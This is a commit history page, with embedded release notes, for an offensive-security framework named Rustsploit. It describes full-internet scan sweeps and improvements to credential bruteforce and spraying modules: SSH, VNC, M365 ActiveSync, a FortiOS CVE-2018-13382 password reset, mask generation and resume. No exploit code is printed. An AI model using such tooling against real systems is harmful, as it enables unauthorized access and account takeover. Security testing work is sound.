Compare commits

...

393 Commits

Author SHA1 Message Date
harmless_teddy 521f97e1ca Delete Cargo.lock 2026-06-26 21:52:53 +02:00
harmless_teddy 4620ee3b8f Delete RELEASE_NOTES.txt 2026-06-26 21:52:42 +02:00
harmless_teddy 15ed279155 Delete RELEASE_GITHUB.txt 2026-06-26 21:52:30 +02:00
harmless_teddy 0b98ce2987 Merge pull request #43 from s-b-repo/fixes-updates-and-more
reworked framework improved performance and fixed alot of bugs imporved improving universal mass scaninng only a few small issues left wired dead code improved code quality speed removed error handling less crashs stops better math for packet generation more clearer docs and better compile times and improving stress testing more exploits optional bluetooth added more scanning osing and other module and research some math from other tools and busy importing more stuff

here

================================================================================
 RUSTSPLOIT — RELEASE NOTES
 Offensive-security framework (RouterSploit/Metasploit-inspired), single binary.
 One module library across four interfaces: interactive shell, CLI runner,
 PQ-encrypted REST/WebSocket API, and an MCP server.

 Build date : 2026-06-13
 Toolchain  : Rust edition 2024 (clang + lld)
 Build      : cargo build --bin rustsploit -> clean (0 errors, 0 warnings)
 Modules    : 389 self-registering native modules
================================================================================


OVERVIEW
--------------------------------------------------------------------------------
This release ports four well-known upstream projects into Rustsploit, fixes a
cluster of mass-scan / full-internet-sweep usability bugs, and lands a
framework-wide HTTP performance improvement.

All ported components are permissively licensed (BSD-2 / BSD-3 / Apache-2.0 /
MIT) and were vendored or added as dependencies accordingly. Every change below
was compiled and tested locally; the verification summary is in section 5.


================================================================================
 1. NEW CAPABILITIES (UPSTREAM PORTS)
================================================================================

[1.1] MCP server migrated to the official `rmcp` SDK            (Apache-2.0)
--------------------------------------------------------------------------------
  * Replaced the hand-rolled JSON-RPC-over-stdio MCP server (src/mcp/server.rs)
    with the official Model Context Protocol Rust SDK, rmcp v1.7.0.
  * The existing tool/resource logic (src/mcp/tools.rs, resources.rs, types.rs)
    is preserved unchanged. server.rs is now a thin adapter implementing rmcp's
    `ServerHandler` trait; protocol framing, transport, and spec compliance are
    owned by the SDK (giving correct resources/prompts/progress support going
    forward instead of a bespoke protocol).
  * All 29 tools and 7 resources retained. The per-call execution timeout
    (env RUSTSPLOIT_MCP_TIMEOUT_SECS, default 300s) and the stdout-isolation
    guard (the protocol channel is dup'd off fd 1 and fd 1 redirected to
    /dev/null, so stray println! can never corrupt the JSON-RPC stream) are
    both kept.
  * Validated end-to-end over stdio: the `initialize` handshake returns
    serverInfo = rustsploit-mcp 0.5.0, negotiates protocolVersion down to the
    client's requested 2024-11-05, and `tools/list` advertises all 29 tools.
  * Dependency added to Cargo.toml:
        rmcp = { version = "1.7", features =
                 ["server", "transport-io", "transport-async-rw"] }

[1.2] Recog fingerprint engine                          (Rapid7, BSD-2-Clause)
--------------------------------------------------------------------------------
  * New src/utils/recog.rs: an XML fingerprint-database loader + matcher modeled
    on Rapid7 Recog (recog-go was the reference for the match loop). Parses the
    Recog <fingerprint>/<param> schema with quick-xml, pre-compiles every regex
    behind once_cell::Lazy, and resolves a banner to structured fields
    (service.product / .version / .vendor, os.product, service.cpe23, ...).
  * Matcher semantics follow real Recog: a <param> carrying a non-empty `value`
    is a literal/interpolated assignment (e.g.
    cpe:/a:vendor:product:{service.version}); a <param> with no value reads
    regex capture group `pos`. Capture params are resolved in a first pass so
    that {field} placeholders in templates always bind, regardless of param
    order or any `pos` attribute on the template.
  * Vendored databases under src/utils/recog_db/ (embedded via include_str!):
    ssh_banners, ftp_banners, smtp_banners, http_servers, mysql_banners. A
    BSD-2-Clause credit header points at upstream.
  * Wired into src/modules/scanners/service_scanner.rs: after each banner read
    (FTP, SSH, SMTP, MySQL, and the HTTPS `Server:` header) the matcher enriches
    the detected version with a structured product/version + CPE; findings still
    flow through the existing FindingKind::Banner path.
  * 19 unit tests assert extracted fields against real example banners
    (OpenSSH/Dropbear, ProFTPD/vsftpd, Exim, Apache/IIS, MySQL/MariaDB, plus the
    malformed-regex-skip and unknown-db cases).
  * NOTE: the vendored DBs are curated subsets authored to the exact upstream
    schema (the porting agent had no outbound network access to fetch the full
    upstream XML). The complete Rapid7 DBs (5 files, ~770 KB, ~1024 fingerprints)
    are staged and can be dropped in for full coverage — see section 6.

[1.3] JARM + JA3 / JA3S TLS fingerprinting          (Salesforce, BSD-3-Clause)
--------------------------------------------------------------------------------
  * New src/utils/tls_fingerprint.rs:
      - JARM: 10 hand-crafted TLS ClientHello probes ported from Salesforce
        jarm.py (TLS 1.2/1.3, multiple cipher orderings, GREASE on/off, ALPN
        variants, extension permutations). Probes are sent over a raw tokio
        TcpStream; each ServerHello is parsed (fully bounds-checked) and the
        results are assembled into the canonical 62-character JARM hash.
      - JA3 / JA3S string builders + MD5 (client- and server-side fingerprints),
        with GREASE stripping per spec.
      - Robust failure handling: a down host, a TLS alert, or a truncated
        response degrades to the canonical all-zero JARM hash; the ServerHello
        parser returns None on garbage input and never panics.
  * New module src/modules/scanners/jarm_scan.rs (default port 443) reports the
    JARM hash, JA3S, and client JA3 as findings.
  * src/modules/scanners/ssl_scanner.rs was intentionally NOT modified: it uses
    rustls, which hides the raw ServerHello bytes JA3S requires. JA3S is exposed
    via tls_fingerprint for callers (such as jarm_scan) that hold raw bytes.
  * 14 unit tests: JA3/JA3S string + MD5 (verified with md5sum), JARM hash
    assembly, and parser bounds-safety on empty/truncated/garbage input.

[1.4] SecLists wordlist catalog                                        (MIT)
--------------------------------------------------------------------------------
  * Seeded the previously-empty, checksum-pinned wordlist catalog in
    src/utils/wordlist.rs with 6 curated SecLists entries. Each SHA-256 was
    computed over the exact raw upstream bytes (the same bytes resolve() hashes
    after download):
        passwords-top-1k        Passwords/Common-Credentials/Pwdb_top-1000.txt
        passwords-top-10k       Passwords/Common-Credentials/Pwdb_top-10000.txt
        usernames-short         Usernames/top-usernames-shortlist.txt
        web-common              Discovery/Web-Content/common.txt
        web-raft-small-dirs     Discovery/Web-Content/raft-small-directories.txt
        subdomains-top5k        Discovery/DNS/subdomains-top1million-5000.txt
  * resolve(name) downloads + SHA-256-verifies on first use into
    ~/.rustsploit/wordlists/ (rejecting any checksum mismatch). 2 no-network
    tests assert every catalog entry is well-formed: https URL, 64-hex SHA-256,
    non-empty name/local_name, and unique names.


================================================================================
 2. BUG FIXES (MASS-SCAN / FULL-INTERNET SWEEP)
================================================================================

[2.1] Full-internet sweep host-cap consistency
--------------------------------------------------------------------------------
  * `setg target 0.0.0.0` auto-raised max_random_hosts to the full public-IPv4
    count, but a literal `0.0.0.0/0` typed into `use <mod>; run` never passed
    through that handler and fell back to the scheduler default of 10,000 —
    silently capping a "scan everything" target at 10k hosts.
  * Fixed in src/scheduler.rs at the single Target::Random dispatch chokepoint:
    when the operator has NOT explicitly set max_random_hosts, a full sweep now
    means every reachable public host on both entry paths. An explicit
    `setg max_random_hosts <n>` is still honored, and the per-sweep advisory +
    interactive confirmation gate is unchanged.

[2.2] Mass-scan pre-config: confirm BEFORE harvest, and silence the placeholder
--------------------------------------------------------------------------------
  The pre-batch prompt phase runs the selected module once against a placeholder
  host (0.0.0.1) to harvest the operator's answers once for the whole batch.
  Two problems were fixed in src/scheduler.rs:
    (a) ORDER: the harvest ran BEFORE the full-sweep confirmation, so the
        placeholder was effectively "scanned" (and, for service_scanner, a
        results file was written) before the operator ever confirmed the sweep.
        The full-sweep advisory + confirmation now runs FIRST on both the random
        and sequential sweep paths; declining aborts with nothing touched.
    (b) NOISE: the harvest run leaked module output
        ("Scanning 0.0.0.1 ... 0 services detected ... Results saved"). The
        harvest run is now wrapped in a throwaway OUTPUT_BUFFER scope so its
        mprintln!/meprintln! output is suppressed, while the interactive prompts
        (which print via real stdout) remain visible.
  RESIDUAL: the harvest still executes the module against the placeholder host
  (now silently). Removing that entirely requires a per-module "prompt-only"
  mode — see section 6.

[2.3] service_scanner mass-scan output spam + file-save race
--------------------------------------------------------------------------------
  * In a mass-scan fan-out the module runs once per host and previously printed
    its full single-target block for EVERY host — "No services detected",
    "Results saved", "Scan complete: 0 services detected on <host>" — which
    garbled output across concurrent tasks and (worse) had every host racing to
    overwrite the same results file.
  * These are now gated on `!is_batch_mode()`:
      - only hosts that actually have services print their results table,
      - the per-host file save is skipped in batch mode (findings flow through
        the module outcome instead, avoiding the concurrent-overwrite race),
      - the redundant per-host "No services" / "Results saved" / "Scan complete"
        status lines are suppressed.
    Interactive single-target runs are unchanged.

[2.4] `show options` listed only a subset of global options
--------------------------------------------------------------------------------
  * Added the four missing global keys to the shell's `show options` table:
    scan_order, exclusions, target_rps, module_rps.


================================================================================
 3. PERFORMANCE
================================================================================

[3.1] HTTP client connection-pool reuse (framework-wide)
--------------------------------------------------------------------------------
  * 184 of the ~304 reqwest-client construction sites go through the shared
    helper build_http_client(timeout), which rebuilt a fresh reqwest::Client on
    every call — re-initialising the TLS configuration and allocating a brand
    new (empty) connection pool. In an HTTP-based mass scan that is once per
    host; in normal use it is once per module run.
  * src/utils/network.rs::build_http_client now caches the permissive client,
    keyed by (timeout, accept_invalid_certs), and returns cheap Arc clones —
    reqwest clients are Arc internally and share their connection pool across
    clones, so warm connections and TLS setup are reused across runs.
  * Correctness: accept_invalid_certs is part of the key because permissive()
    derives it from the live `strict_tls` global; toggling `setg strict_tls` is
    therefore still honored rather than pinned to whatever it was on first build.
    The client is built outside the lock so a slow build() can't serialise other
    callers, and a poisoned lock is recovered (the map holds only cloneable
    clients) rather than panicking into every HTTP caller.
  * Custom-opts clients (cookies / headers / redirects via
    build_http_client_with) are unchanged — those options cannot be shared
    safely or keyed cheaply.


================================================================================
 4. FILES CHANGED
================================================================================
  New files:
    src/mcp/server.rs                          rewritten as an rmcp adapter
    src/utils/recog.rs                         Recog matcher (~590 lines)
    src/utils/recog_db/*.xml                   5 vendored fingerprint databases
    src/utils/tls_fingerprint.rs               JARM / JA3 / JA3S (~1270 lines)
    src/modules/scanners/jarm_scan.rs          new JARM scanner module (~127 lines)

  Modified files:
    Cargo.toml                                 + rmcp dependency
    src/module.rs                              + ModuleCtx.prompt_only flag (6.1)
    src/scheduler.rs                           sweep host-cap consistency,
                                               confirm-before-harvest reorder,
                                               harvest output capture,
                                               set prompt_only on harvest ctx
    src/modules/scanners/service_scanner.rs    Recog enrichment wiring +
                                               batch-mode output gating +
                                               prompt_only early return (6.1)
    src/utils/network.rs                       HTTP client cache +
                                               pool_idle_timeout (6.2)
    src/utils/recog.rs                         two-pass matcher fix (value
                                               templates win over `pos`)
    src/utils/recog_db/mysql_banners.xml       MariaDB regex colon fix
    src/utils/tls_fingerprint.rs               corrected JA3/JA3S test constants
    src/utils/wordlist.rs                      SecLists catalog + 2 tests
    src/utils/mod.rs                           + pub mod recog;
                                               + pub mod tls_fingerprint;
    src/modules/scanners/mod.rs                + pub mod jarm_scan;
    src/shell.rs                               show options: + 4 global keys
    README.md, docs/BAD_PATTERNS.md            stale-docs corrections (6.3)


================================================================================
 5. VERIFICATION
================================================================================
  * cargo build --bin rustsploit : clean — 0 errors, 0 warnings.
  * MCP : live stdio handshake validated — initialize returns
          serverInfo=rustsploit-mcp 0.5.0, protocolVersion negotiated to
          2024-11-05, tools/list returns all 29 tools.
  * Tests : new-port + core suites green —
          cargo test --bin rustsploit -- recog tls_fingerprint jarm wordlist
          cyclic ja3  =>  40 passed; 0 failed.
  * Banned-pattern audit (scripts/audit-bad-patterns.sh) : no new hits
          introduced in any changed file.

  PRE-RELEASE FIXES (found and fixed in this release):
    The four ports were authored by isolated agents that could not execute the
    test runner in their sandbox, so 7 tests shipped failing and were caught +
    fixed here:
      - 3 JA3/JA3S tests had fabricated "known vector" MD5 constants; the
        implementation was correct (the real md5 of the JA3/JA3S strings matches
        what the code produces) — the bogus expected constants were corrected.
      - 4 Recog tests exposed a real matcher bug: a <param> with both a `value`
        template and a `pos` attribute had its template ignored (the bare
        capture group was stored instead of the interpolated CPE), plus a
        MariaDB regex that rejected a colon in the distro suffix. Both fixed.


================================================================================
 6. FOLLOW-UP PASS (completed)
================================================================================
The four follow-ups noted at first cut were all worked. Three are done; the
fourth was investigated and intentionally deferred with a precise finding.

[6.1] Pre-config harvest now has a per-module "prompt-only" mode            DONE
  * Added ModuleCtx.prompt_only (src/module.rs). The scheduler sets it on the
    harvest dry-run ctx (src/scheduler.rs). A module that honours the flag
    answers its cfg_prompt_* calls and then returns immediately — no network
    work, no file writes against the placeholder host.
  * src/modules/scanners/service_scanner.rs is the reference implementation: it
    returns right after gathering prompts when prompt_only is set, so the
    placeholder host (0.0.0.1) is no longer scanned at all during harvest. The
    output-capture guard remains as belt-and-suspenders for modules that don't
    yet check the flag; other modules can adopt the same one-line early return.

[6.2] HTTP client cache: idle-connection lifetime bounded                   DONE
  * Added HttpClientOpts.pool_idle_timeout (src/utils/network.rs). The cached,
    long-lived permissive client now sets pool_idle_timeout = 30s, so a
    full-internet sweep reaps idle keep-alives to stale hosts instead of letting
    them accumulate. Custom-opts clients default to reqwest's ~90s unless they
    opt in.

[6.3] Docs drift corrected                                                  DONE
  * README.md and docs/BAD_PATTERNS.md prose updated to reflect the
    exploitation-only model (no check()/CheckResult) and compile-time `inventory`
    self-registration (no build.rs module indexer). The BAD_PATTERNS regex
    matrix is driven by hardcoded bash arrays in the audit script — confirmed
    untouched, so the lint is unaffected.

[6.4] Recog full-DB swap: investigated, DEFERRED (it is a feature, not a swap)
  * The full upstream Rapid7 DBs (5 files, ~770 KB, ~1024 fingerprints) were
    dropped in and the Recog tests re-run: 13/20 failed. Root cause is NOT a test
    issue — the real DBs are not drop-in compatible with the current wiring:
      - The real SSH patterns are anchored on the version COMMENT
        (e.g. ^OpenSSH_(...)$), i.e. they expect the post-"SSH-2.0-" substring,
        not the full banner line the scanner currently feeds them.
      - Real field names/values differ from the curated set (e.g. Apache yields
        service.product = "HTTPD", not "HTTP Server").
    So adopting the full DBs requires a per-DB INPUT-NORMALISATION layer (feed
    each DB the exact field it expects) plus downstream handling of real Recog
    field names — a feature, not a data swap. Shipping the real DBs as-is would
    silently break matching end-to-end (raw banners vs. normalised-input
    patterns => zero matches in practice).
  * DECISION: kept the curated, internally-consistent DBs (all 19 Recog tests
    pass; wiring + patterns + tests agree). The full-DB adoption is tracked as a
    future feature with the concrete design above. The real DBs remain staged.


================================================================================
 6c. NEW: per-run output auto-save
================================================================================
  * Every interactive console / CLI module run now auto-appends ALL of its
    output (stdout + stderr) to a per-run file:
        ~/.rustsploit/loot/<module> <YYYY-MM-DD_HH-MM-SS> results.txt
    Files are opened in APPEND mode, so multi-host mass-scan output accumulates
    into the one run file instead of racing to overwrite (the original
    service_scanner "save to file" bug). New module: src/results_sink.rs — a
    global append sink mirroring the spool's write pattern (so spawned per-host
    task output is captured), hooked into the console branches of the
    mprintln!/meprintln! routing in src/output.rs and begun/ended per run in
    commands::run_module. Scoped to console/CLI runs (sequential); API / MCP
    runs return their output to the caller via OUTPUT_BUFFER and are not
    duplicated to disk. Verified end-to-end (file created, headered, appended).
  * Build fix bundled: Cargo.lock restored. The branch's previous
    "Delete Cargo.lock" commit left a binary crate that does NOT build from a
    clean clone (transitive `cookie`/`time` version conflict on fresh
    resolution); the verified lock is re-added so `git clone && cargo build`
    works again.


================================================================================
 6b. REMAINING KNOWN LIMITATIONS
================================================================================
  * Recog coverage is the curated subset until the input-normalisation layer in
    [6.4] is built.
  * Modules other than service_scanner do not yet check ModuleCtx.prompt_only;
    during harvest their output is suppressed but they still execute (cheaply).
    Adopting the one-line early return per module closes this fully.


================================================================================
 6d. FRAMEWORK HARDENING (error-safety, retry-then-continue, wiring)
================================================================================
A two-agent audit of the framework (non-module) .rs files (it found the core
"unusually disciplined" already) plus fixes for every genuine issue surfaced:

  Panic / crash paths:
  * src/shell.rs — the rustyline completer sliced the input line at a raw byte
    offset; a cursor landing mid-UTF-8 codepoint crashed the whole shell. Now
    snaps to a char boundary first.
  * src/scheduler.rs — three `unreachable!(...)` in the fan-out dispatch are now
    `anyhow::bail!(...)` (internal-error surfaced, never a panic).

  Retry-then-continue (transient errors retry, then the scan continues):
  * New `run_host_with_retry` in scheduler.rs wraps every per-host module
    dispatch across all four mass-scan fan-outs (CIDR / file / random /
    sequential): a transient failure (timeout, connection reset/aborted, broken
    pipe, unexpected EOF) is retried once with a short backoff; a terminal error
    (closed port, "not affected") returns immediately. A single host never
    aborts the loop.
  * The "first 10 dispatches errored -> abort the whole sweep" heuristic in the
    random + sequential sweeps is softened to a one-time warning that KEEPS
    GOING (Ctrl+C still stops it) — error -> retry -> continue, not auto-abort.
  * Confirmed already-correct (left as-is): throttle back-off, tcp_connect
    address-iteration, bruteforce per-host error tolerance, job catch_unwind.

  Wiring / protocol bugs:
  * src/ws.rs — an oversize WS frame was `continue`-skipped, but the PQ AEAD
    ratchet's nonce embeds the receive counter and only advances on a successful
    decrypt, so a skipped frame permanently desynced (bricked) the connection.
    Now closes cleanly instead (axum's max_frame_size already caps upstream).
  * src/mcp/tools.rs — background jobs spawn under the tenant job-manager but
    list/kill read the process-global one, so tenant jobs were invisible and
    unkillable. list/kill now use the tenant job-manager too.
  * src/mcp/tools.rs — an out-of-range `port` argument was silently dropped (and
    the module fell back to its default); now rejected with a clear error.
  * src/ws.rs — a non-string option value was coerced to "" and stored; now
    rejected with a clear error.

  No silent error-swallowing:
  * Swept the framework (non-module) files for the banned swallow patterns
    (`Err(_)`, `if let Ok(...)` with no else, bare `.ok();`, `let _ = <result>`,
    `.map_err(|_| ...)`) and bound + surfaced every one via `tracing`
    (debug for benign fallbacks, warn for lost data/replies) — semantics
    unchanged, errors no longer dropped. Legitimate poison-recovery and
    deliberate Result->Option conversions were left intact.

  Verified: clean build (0 warnings), 40/40 targeted tests green, bad-patterns
  audit clean on the changed files.


================================================================================
 7. LICENSES (PORTED COMPONENTS)
================================================================================
  Recog (Rapid7)               BSD-2-Clause
  JARM / JA3 / JA3S (Salesforce)  BSD-3-Clause
  rmcp (MCP Rust SDK)          Apache-2.0
  SecLists                     MIT
  ZMap address iterator        Apache-2.0   (previously ported; unchanged)

================================================================================
 END OF RELEASE NOTES
================================================================================
2026-06-26 16:36:19 +02:00
s-b-repo e180afdcc4 creds/exploits: fix the protocol-level audit backlog (VNC, SSH, FortiOS CVE, m365, h3c, engine)
VNC (false positive): negotiate the RFB version instead of forcing 003.008. An
RFB 3.3 server desynced under the forced 3.8 handshake and a misaligned 4-byte
SecurityResult read of 0 was reported as a valid password. Now reply min(server,
3.8), and handle 3.3's single 4-byte security-type vs 3.7+'s count+list+select.

SSH (false negative): ssh_bruteforce + ssh_spray collapsed EVERY ssh2
userauth_password error to AuthFailed, so a transient/transport error mid-auth
became a definitive 'wrong password' (valid creds skipped, never retried). Now
only libssh2 -18/-19 (AUTHENTICATION_FAILED/PUBLICKEY_UNVERIFIED) is AuthFailed;
everything else propagates as a retryable error. ssh_spray also now resolves
hostnames (was SocketAddr::parse, IP-only → hostname targets never sprayed).

ssh_user_enum (noise): replaced the fixed 300ms absolute timing threshold with a
baseline mean+stddev one-sided cutoff (k sigma, median per user, MIN_ABS_DELTA
floor), time ONLY the auth exchange (not connect+KEX), and send a long password
so the server KDF dominates for valid users. threshold setg is now a sigma
multiplier.

FortiOS CVE-2018-13382 (false positive): the ordinary ret=1/redir= login response
was treated as a successful magic-token reset → FindingKind::Vulnerable on PATCHED
hosts. Now the Vulnerable finding is gated on a confirming login with the new
password (verify_login tightened to require the real ret=1 token); fingerprint no
longer calls any 200/401 host a FortiGate; reset POST also sends 'credential'.

Engine: run_bruteforce_streaming's stop-on-first-success early return leaked the
spawn_blocking wordlist reader, which kept scanning a multi-GB file into a dropped
channel. New utils::load_lines_batched_until lets the reader stop the instant the
receiver is gone. bruteforce_retries: unset→1, explicit 0→none, clamped to 10
(was: 0 coerced to 1, huge values unbounded).

m365_activesync_spray: classify valid-but-flagged accounts via X-MS-Diagnostics
ESTS codes (50055 expired / 50057 disabled / 50079/50076/50074/53004 MFA / 50158
CA) as credential hits instead of keying success only on HTTP 200; add 429/503
throttle backoff between rounds.

h3c_redfish_session_spray: require X-Auth-Token on 201 (was: stored a
'(header-missing)' placeholder credential); 400/404/422 → Denied not Error.
h3c_oem_kvm_bruteforce: require an actual token VALUE (header or parsed), not the
bare 'X-Auth-Token' field-name substring + '(present)' placeholder.

Build: 0 errors, 0 warnings. Remaining strict-audit hits in these files are
pre-existing (VNC DES, PG MD5 / MySQL SHA1 auth, #[cfg(test)] asserts, and
run-loop idioms) — none introduced here.
2026-06-13 20:57:27 +02:00
s-b-repo 52767ab45f creds: kill false-positive logins + RTSP-class lockout misclassification across 9 probes
Audit of every bruteforce module surfaced two recurring bug classes. Fixed the
verified, contained ones here.

FALSE POSITIVES (a wrong cred was being stored as loot):
- snmp: success was 'response contains byte 0xa2 anywhere' — matched request-id /
  length / payload bytes and accepted error/Report PDUs. Now structurally parses
  the datagram and requires a GetResponse PDU (0xa2) at its proper position.
- proxy: HTTP CONNECT/forward success was resp.contains("200") — matched
  'Content-Length: 200', Date, Via, etc. Now parses the status line. SOCKS5 now
  also checks the RFC1929 version byte before trusting the status.
- elasticsearch: 200 = success, but an unsecured ES node returns 200 to EVERY
  request → every password a false positive. Now confirms an unauthenticated GET
  is 401 before accepting the creds.
- couchdb: 200 = success without inspecting the body. Now requires {"ok":true}.
- memcached: trusted the status field without checking the response was a SASL-Auth
  reply. Now validates magic 0x81 + opcode 0x21 first.
- l2tp: any UDP reply with the top 2 bits set = success. Now also requires the
  L2TPv2 version nibble.
- http_basic: a redirect to a non-login page counted as success even when the
  endpoint didn't enforce auth. Now gated on the baseline-401 check.
- sample_cred_check: a registered template that stored admin:admin on any host
  whose /login returns 200. Now baselines the unauthenticated request first.

RTSP-CLASS LOCKOUT (a definitive negative from a RESPONDING server was returned as
a retryable Error, burning retries + tripping the consecutive-error give-up):
- ftp: post-handshake login rejections with unusual wording (430/532/localized)
  were Unknown->retryable; now treated as AuthFailed (connection drops stay
  retryable).
- mysql: ERR packets with codes other than 1044/1045 were retryable:true; the
  server clearly responded, so now never retryable, and the common auth-denial
  codes (1130/1226/1227/1698/1862) map to AuthFailed.
- http_basic: definitive 4xx (400/404/405/406/410/422) now AuthFailed instead of
  Unknown->retryable; 429/5xx stay retryable.

FALSE NEGATIVE:
- postgres: connected to database=<user>; a valid superuser whose own DB doesn't
  exist failed startup with 3D000 and was read as a bad login. Now uses the
  'postgres' maintenance DB.

Build: 0 errors, 0 warnings. (Pre-existing strict-audit hits in mysql/postgres are
the protocol-mandated SHA1/MD5 auth — not introduced here.)
2026-06-13 20:07:46 +02:00
s-b-repo 82f72079fb rtsp_bruteforce: classify any RTSP status reply as a result, not an error
A real RTSP camera commonly answers DESCRIBE with 404 Not Found when the stream
PATH is wrong (e.g. default '/'), not the credentials. The probe was treating
any non-200/401/403 status line as LoginResult::Error, which (a) misreported
clean negatives as 'Errors' and (b) — because the engine's lockout/give-up
heuristic counts CONSECUTIVE errors — made a live, responding host look dead and
trip a 30s pause + eventual give-up.

Now: parse the RTSP status code; 200 = Success, any other well-formed RTSP code
(401/403 reject, 404 wrong path, 3xx/5xx) = AuthFailed (a definitive negative for
that credential — no retry, resets the consecutive-error counter). Only a reply
that isn't an RTSP status line at all stays a (non-retryable) Error. 404s are
logged at debug ('setg rtsp_path' is the likely fix). Also decode the banner with
from_utf8_lossy + parse the first line instead of truncating to 64 bytes.
2026-06-13 19:28:07 +02:00
s-b-repo 3183e5d0cc bruteforce: expose connection retries (medusa -r) via setg bruteforce_retries
creds_helper previously hardcoded BruteforceConfig.max_retries = 1. 'setg
bruteforce_retries N' now sets the per-combo retry count for retryable
(transient/connection) errors; unset or 0 keeps the historical default of 1.
show options: + bruteforce_retries. Build: 0 errors, 0 warnings.
2026-06-13 17:06:10 +02:00
s-b-repo 40b2659092 bruteforce: hydra -x mask brute + resumable streamed wordlists
- bruteforce_mask (hydra -x): 'setg bruteforce_mask MIN:MAX:CHARSET' enumerates
  candidate passwords. CHARSET placeholders mirror hydra: a->a-z, A->A-Z, 1->0-9;
  any other char is literal. e.g. '1:4:a1' = 1-4 chars of [a-z0-9]. Generated via
  an odometer counter, hard-capped at MAX_COMBOS with a warning. Mask candidates
  run AFTER the wordlist (lowest yield); skipped in credential_file_only mode.
  New: utils::bruteforce::generate_mask_passwords + creds_helper wiring.

- bruteforce_resume (batch-level): 'setg bruteforce_resume y' makes a streamed
  large-wordlist run record the last fully-completed 500k batch, keyed by
  target+port+wordlist+size+mode, under ~/.rustsploit/checkpoints/<key>.bfr. An
  interrupted run skips already-tried batches on restart and clears the marker on
  clean completion / first success. New checkpoint markers: read/write/clear_
  bruteforce_marker, mirroring the existing seq-marker pattern.

show options: + bruteforce_mask / bruteforce_resume. Build: 0 errors, 0 warnings.
2026-06-13 16:54:57 +02:00
s-b-repo d0e07e8d97 bruteforce: cross-batch give-up, combo-file exclusive mode, stop-mode (host/user/all)
- Cross-batch give-up: run_bruteforce split into a wrapper + run_bruteforce_with_abort
  taking a shared abort flag; the streaming driver reuses one flag so a host the
  engine gives up on stops the WHOLE run instead of re-pausing every 500k batch.
- credential_file_only: 'setg credential_file_only y' makes the combo file the
  ONLY credential source (exact hydra -C; ignores user/pass wordlists + streaming).
- cred_stop_mode (host|user|all): host = stop whole host on first success
  (default); user = stop a username once its password is found, keep other users
  (medusa); all = find every valid credential (hydra default). Engine reads the
  setg (no BruteforceConfig field change -> no ripple across 14 callers).

show options: + credential_file_only / cred_stop_mode. Build: 0 errors, 0 warnings.
2026-06-13 16:41:58 +02:00
s-b-repo c3d0556f77 bruteforce: cap per-host concurrency in batch, wire combo-file (-C), expose delay/jitter, medusa host give-up
1. Batch concurrency cap: in a mass-scan fan-out, per-host bruteforce concurrency
   is capped (4) so it no longer multiplies with scheduler host-concurrency into
   an RLIMIT_NOFILE-exhausting socket count.
2. Combo-file (hydra -C): 'setg credential_file <user:pass file>' is loaded via
   the engine's load_credential_file and tried alongside defaults. Verified:
   2-pair file -> +2 attempts.
3. Delay/jitter (hydra -w): 'setg bruteforce_delay_ms' + 'setg bruteforce_jitter_ms'
   now feed BruteforceConfig.delay_ms/jitter_ms (were hardcoded 0).
4. Host give-up (medusa): run_bruteforce now aborts a host after MAX_LOCKOUT_PAUSES
   (3) consecutive-error lockout pauses with no success, instead of pausing-and-
   grinding forever. run_subnet_bruteforce already had give-up.

Also surfaced credential_file/bruteforce_delay_ms/bruteforce_jitter_ms in
'show options'. Build: 0 errors, 0 warnings.
Known limitation: streaming-path give-up is per-batch (not cross-batch).
2026-06-13 16:16:45 +02:00
s-b-repo 5968d25b58 creds bruteforce: hydra-style -e nsr (null/same/reversed) + expose wordlist/cred_extras options
Adds the highest-yield hydra feature to the shared creds_helper: for each
username, optionally also try an empty password (null), the username as its own
password (same), and the reversed username. Opt-in via 'setg cred_extras' with a
subset of n/s/r (e.g. nsr); default off. Appended to the defaults-first rows so
they run before the wordlist; the engine's existing combo dedup avoids retrying
a pair already in defaults. Skipped for password-only services.

Also surfaced username_wordlist/password_wordlist/cred_extras in 'show options'.

Verified: elasticsearch_bruteforce + cred_extras=nsr + 1 username -> 6 defaults +
null + reversed (same deduped against the admin/admin default) = 8 attempts.
2026-06-13 15:55:28 +02:00
s-b-repo e6736530f0 creds bruteforce: run built-in defaults when no wordlist is set
creds_helper required a password wordlist (cfg_prompt_existing_file with no
default), so in a mass scan with no 'setg password_wordlist' every host errored
'Missing required prompt key' before the module's built-in DEFAULTS were ever
tried — making bruteforce sweeps look stuck/broken (the RTSP report). Wordlists
are now OPTIONAL when the module ships defaults: a missing wordlist falls back to
defaults-only instead of erroring. Modules with no defaults (postgres/mysql/snmp)
still require a wordlist. Verified: batch-mode elasticsearch_bruteforce with no
wordlist runs its 6 defaults and completes (was: error).
2026-06-13 14:47:50 +02:00
s-b-repo bc104901d9 shell: don't show a scary error when the history file doesn't exist yet
First run (or a clean ~/.rustsploit) has no history file; a NotFound on
rl.load_history is normal and was printing '[!] Failed to load history: No such
file or directory'. Now NotFound is logged at debug; only real failures
(permissions, corruption) are surfaced loudly.
2026-06-13 02:34:43 +02:00
s-b-repo 94899781d3 Framework hardening: retry-then-continue, panic fixes, WS/MCP bug fixes, no-swallow sweep + loud error surfacing; docs + release notes
Hardening (non-module framework files):
- Retry-then-continue: bounded per-host retry on transient failures across all 4
  mass-scan fan-outs; '10 errors -> abort sweep' softened to warn-and-continue
- Crash fixes: shell completer char-boundary guard; unreachable! -> bail!
- WS oversize-frame desync fixed (was bricking the PQ AEAD ratchet); MCP tenant
  job list/kill, out-of-range port, non-string option now correct/errored
- No silent error swallowing: swept framework files, every dropped error now
  bound + surfaced (warn for logged-only/data-loss, debug for already-propagated
  or aggregated per-host); removed _ => {} and Err(_)/|_| discards

Docs + release: README + docs/ updated for the release; RELEASE_NOTES.txt
section 6d added; new RELEASE_GITHUB.txt (GitHub release body).

Build: 0 errors, 0 warnings, 40/40 targeted tests green.
2026-06-13 02:29:12 +02:00
s-b-repo 05cfdc6d22 Ports (rmcp MCP SDK, Recog, JARM/JA3, SecLists) + mass-scan fixes + HTTP pooling + per-run output auto-save
Ports:
- MCP server migrated to official rmcp SDK (v1.7); all 29 tools/7 resources preserved
- Recog (Rapid7) fingerprint engine + DBs, wired into service_scanner
- JARM + JA3/JA3S TLS fingerprinting (tls_fingerprint) + jarm_scan module
- SecLists checksum-pinned wordlist catalog

Fixes / features:
- Full-internet sweep host-cap consistency
- Pre-config confirm-before-harvest + ModuleCtx.prompt_only mode; service_scanner
  batch-mode output gating
- HTTP client connection-pool reuse (cached) + bounded pool_idle_timeout
- show options: +scan_order/exclusions/target_rps/module_rps
- NEW: per-run output auto-save to ~/.rustsploit/loot/<module> <time> results.txt
  (append mode, all stdout+stderr; src/results_sink.rs)
- docs: drop stale check()/CheckResult + build.rs references
